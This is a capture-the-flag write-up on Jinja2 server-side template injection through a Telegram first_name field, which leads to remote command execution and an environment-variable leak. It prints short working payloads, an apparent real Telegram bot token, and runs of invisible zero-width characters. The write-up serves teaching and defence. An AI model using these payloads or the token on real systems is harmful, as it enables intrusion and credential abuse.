← Back to Writeups
CUSTOMMediumWeb

RiceMatch

XESXOR9/10/20264 min read
#web#custom#medium#env_variable_leak#lipsum_globals_rce#render_template_string_abuse#ssti_jinja2#telegram_firstname_injection

RiceMatch

Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-02-10 | Status: Solved Techniques: env_variable_leak, lipsum_globals_rce, render_template_string_abuse, ssti_jinja2, telegram_firstname_injection

Summary

Task: Telegram Mini App (Tinder-style) with Flask/Jinja2 backend, user profile cards rendered server-side. Solution: SSTI via Telegram first_name field - changed name to Jinja2 payload, Telegram signed it in initData, server rendered it without escaping, leaked FLAG from environment variables.

RiceMatch --- Duckerz CTF

Description

Это приложение телеграм бот поиск трудовой партнер китай!

Telegram Mini App in Tinder style ("Chinder" = China + Tinder) for swiping profiles of Chinese labor partners.

Architecture

Telegram Bot (@RiceMatch_bot)
  └── /start → "Open Mini App" button
        └── https://ricematch.tasks.duckerz.ru/
              ├── Frontend: main.js (Tinder-like swipe UI)
              └── Backend: nginx → Flask (127.0.0.1:30029)
                    └── SQLite: /app/database/ricematch.db

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • Python 3.11.14, Flask in production mode
  • Docker container (hostname: cf339784e60c)

API Endpoints

Only 2 endpoints:

1. POST /api/get_data

  • Auth: Authorization: tma <Telegram_initData>
  • Response: JSON with fields:
    • cards_html — array of HTML profile cards for swiping
    • profile_card_html — HTML card of the user themselves
    • ok — boolean

2. GET /api/get_more_cards

  • Auth: not required
  • Response: additional cards for infinite scrolling

Analysis

Reconnaissance

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Opened Mini App, intercepted API request in DevTools
  2. Analyzed frontend: main.js implements Tinder-like swipe UI, calls only 2 API endpoints
  3. Discovered internal URL leak in profile card HTML: url(http://127.0.0.1:30029/static/placeholder.png) — internal Flask server address
  4. Fuzzing endpoints with ffuf (common.txt, api-endpoints.txt) — confirmed only 2 endpoints exist
  5. Testing initData validation — strict HMAC-SHA256 validation, impossible to forge without bot token
  6. Testing HTTP Parameter Pollution, IDOR, different Content-Types — all unsuccessful
  7. Collected 250+ unique bio cards — flag not hidden in content
  8. Checked database files, config files, .git, .env — all 404
  9. Bot interaction — responds only to /start, ignores photos, URLs, all other messages ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Observation

Server returns pre-rendered HTML cards via API. Profile card contains <h2>Sergey</h2>, where "Sergey" is the user's first_name from validated initData.

Since the server uses Flask/Jinja2 and HTML is rendered server-side, if render_template_string() is used without escaping, first_name can be interpreted as a Jinja2 template expression.

Critical Realization

Although we cannot forge initData (it's cryptographically signed by Telegram), we CAN change our real Telegram name to a string with Jinja2 syntax. Telegram will sign this new name in initData, and the server will accept it as valid. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Confirming SSTI

Changed first_name in Telegram to {{7*7}}:

Telegram first_name: {{7*7}}
→ Opened Mini App
→ Profile card showed: 49
→ SSTI confirmed!

Step 2: Exploring the Filesystem

Telegram first_name: {{lipsum.__globals__.os.popen('ls /').read()}}
→ app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

Step 3: Searching for Flag in Files

Telegram first_name: {{lipsum.__globals__.os.popen('cat /flag*').read()}}
→ (empty) — flag not in a file

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Working Directory

Telegram first_name: {{lipsum.__globals__.os.popen('pwd').read()}}
→ /app

Step 5: Environment Variables (FLAG!)

Telegram first_name: {{lipsum.__globals__.os.popen('env').read()}}
→ ...FLAG=DUCKERZ{REDACTED}...

Additional Data from env

BOT_TOKEN=8035382133:AAExiNdi2Mq9LopcS7Nf1WUHdDKB86y3KQM
DATABASE_URL=sqlite:///app/database/ricematch.db
WEB_APP_URL=https://ricematch.tasks.duckerz.ru
FLASK_APP=app.py
HOSTNAME=cf339784e60c

Key Payloads

All payloads <= 64 characters (Telegram first_name limit): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

PayloadResultLength
{{7*7}}497
{{lipsum.__globals__.os.popen('pwd').read()}}/app48
{{lipsum.__globals__.os.popen('ls /').read()}}filesystem listing49
{{lipsum.__globals__.os.popen('env').read()}}FLAG=DUCKERZ{...}48

Why This Works

  1. Telegram first_name allows up to 64 characters — enough for Jinja2 SSTI payloads
  2. Telegram cryptographically signs any username (including template syntax) in initData
  3. Server correctly validates initData signature, but then uses first_name in render_template_string() without escaping
  4. lipsum — built-in Jinja2 global object providing access to Python's os module via __globals__ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack Chain

Change Telegram name → {{payload}}
    ↓
Telegram signs initData with new name
    ↓
Mini App sends initData to server
    ↓
Server validates signature (OK — signature is legitimate)
    ↓
Server extracts first_name = "{{payload}}"
    ↓
render_template_string(template_with_firstname)
    ↓
Jinja2 interprets {{payload}} → RCE

Lessons

  1. Trusted source != safe data. initData is cryptographically valid, but contains user-controlled fields (first_name, last_name, username)
  2. Telegram first_name — unexpected attack vector. 64 characters is enough for full RCE via SSTI
  3. Always escape user data before rendering in templates, even if it comes from a "trusted" API
  4. render_template_string() is dangerous — prefer render_template() with template files and Jinja2 auto-escaping
  5. Flag in env variables — standard practice in Docker CTF, always check env after getting RCE ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍